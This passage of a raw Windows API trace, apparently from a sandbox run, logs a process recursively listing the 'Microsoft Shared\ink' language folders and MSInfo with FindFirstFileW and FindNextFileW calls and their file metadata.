ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.102] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.102] GetLastError () returned 0x12 [0055.102] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.102] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.102] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0055.102] GetLastError () returned 0x12 [0055.102] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.102] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.102] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.102] GetLastError () returned 0x12 [0055.102] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.102] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.102] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0055.103] GetLastError () returned 0x12 [0055.103] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.103] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.103] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.103] GetLastError () returned 0x12 [0055.103] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.103] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.103] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0055.103] GetLastError () returned 0x12 [0055.103] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.103] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.103] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.103] GetLastError () returned 0x12 [0055.103] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.104] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.104] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0055.104] GetLastError () returned 0x12 [0055.104] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.104] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.104] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.104] GetLastError () returned 0x12 [0055.104] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.104] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.104] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0055.104] GetLastError () returned 0x12 [0055.104] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.104] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.104] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.105] GetLastError () returned 0x12 [0055.105] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.105] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.105] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0055.105] GetLastError () returned 0x12 [0055.105] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.105] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.105] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.105] GetLastError () returned 0x12 [0055.105] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.105] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.105] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0055.105] GetLastError () returned 0x12 [0055.106] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.106] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.106] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.106] GetLastError () returned 0x12 [0055.106] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.106] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.106] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0055.106] GetLastError () returned 0x12 [0055.106] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.106] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.106] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.106] GetLastError () returned 0x12 [0055.106] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.106] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.106] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0055.107] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.107] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.107] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0055.107] GetLastError () returned 0x12 [0055.107] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.107] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.107] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.107] GetLastError () returned 0x12 [0055.107] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.107] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: 